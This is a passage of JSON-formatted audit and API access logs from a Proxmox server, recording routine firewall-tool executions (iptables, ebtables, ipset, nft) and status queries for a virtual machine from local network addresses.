msg=audit(1781964336.002:60587): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965955516,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.516:67822): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e6100 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65132 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965129017,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 896"} {"@timestamp":1781964223364,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964223.364:60099): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57710 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945411,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.411:67790): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965695083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.083:66704): arch=c000003e syscall=59 success=yes exit=0 a0=5d7d0efacd70 a1=5d7d0efb9010 a2=5d7d0ef86680 a3=5 items=2 ppid=64064 pid=64070 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335996,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.996:60586): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965955509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.509:67821): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0d00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65131 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965127902,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964218356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964218.356:60094): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57704 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945410,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.410:67789): argc=1 a0=\"date\""} {"@timestamp":1781965695080,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.080:66703): arch=c000003e syscall=59 success=yes exit=0 a0=5d7cd0bd6ac8 a1=7ffc99f15230 a2=5d7d0ef86680 a3=5d7cd0bba24e items=2 ppid=64064 pid=64066 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335989,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.989:60585): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965955502,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.502:67820): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6100 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65130 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965127902,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:46 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964218356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964218.356:60093): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57704 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945404,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.404:67787): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965695080,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.080:66702): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc99f151f0 a1=5d7d0efa8410 a2=5d7d0ef86680 a3=5 items=2 ppid=64064 pid=64065 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335982,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.982:60584): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965955496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.496:67819): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0bd570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65129 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965126687,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781964218345,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964218.345:60091): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945397,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.397:67786): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965695074,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.074:66700): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64064 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335975,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.975:60583): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965955489,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.489:67818): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65128 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965126687,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964218345,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964218.345:60090): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945388,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.388:67785): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965695066,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.066:66699): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64063 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335969,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.969:60582): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965955481,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.481:67817): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65127 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965126687,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781964215770,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.770:60086): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe8c7ba110 a1=5a28a5b141c0 a2=5a28a5af2680 a3=5 items=1 ppid=57696 pid=57697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945378,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.378:67784): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965695056,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.056:66698): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64062 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335963,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.963:60581): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965955477,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.477:67816): arch=c000003e syscall=59 success=yes exit=0 a0=5e7fc48f1ed0 a1=5e7fc48eec50 a2=5e7fc48d0680 a3=5 items=2 ppid=65120 pid=65126 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965125698,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:45 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964215684,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.684:60068): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd1d560be0 a1=58858f04f1c0 a2=58858f02d680 a3=5 items=1 ppid=57677 pid=57678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945371,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.371:67783): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965695048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.048:66697): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8b30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64061 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335959,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.959:60580): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965955474,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.474:67815): arch=c000003e syscall=59 success=yes exit=0 a0=5e7f8d048ac8 a1=7ffd6b473490 a2=5e7fc48d0680 a3=5e7f8d02c24e items=2 ppid=65120 pid=65122 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965125698,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:45 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964213335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964213.335:60058): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57667 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945364,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.364:67781): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965695039,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.039:66696): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136140 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64060 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335957,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.957:60579): argc=1 a0=\"date\""} {"@timestamp":1781965955473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.473:67814): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd6b473450 a1=5e7fc48d7310 a2=5e7fc48d0680 a3=5 items=2 ppid=65120 pid=65121 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965125698,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:44 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964213335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964213.335:60057): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57667 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945357,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.357:67780): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965695024,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.024:66695): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ffc90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64059 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335952,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.952:60577): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965955468,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.468:67812): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65120 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965125698,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 890"} {"@timestamp":1781964213328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964213.328:60055): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57666 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945351,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.351:67779): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965694853,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965694.853:66694): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ee190 a1=64f8d1780620 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64058 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335944,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.944:60576): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965955460,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.460:67811): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65119 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965124576,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 903"} {"@timestamp":1781964213328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964213.328:60054): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57666 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945345,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.345:67778): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965694820,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965694.820:66693): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73cd090 a1=64f8d7406b50 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335935,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.935:60575): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965955452,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.452:67810): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65118 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965123490,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964208314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964208.314:60052): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945338,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.338:67777): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965693986,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965693.986:66692): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64054 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335929,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.929:60574): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965955447,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.447:67809): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb61080d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65117 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965123490,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964208314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964208.314:60051): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945331,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.331:67776): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965693981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965693.981:66689): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64053 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335922,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.922:60573): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965955438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.438:67808): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1438a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65116 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965123490,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781964208306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964208.306:60049): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945324,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.324:67775): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965688971,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965688.971:66686): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64052 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335915,"@rawstring":"node=pve type=EXECVE msg=audit(1781964335.915:60572): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965955429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.429:67807): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e93e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65115 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965122356,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964208306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964208.306:60048): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945316,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.316:67774): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965688958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965688.958:66683): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899550f0 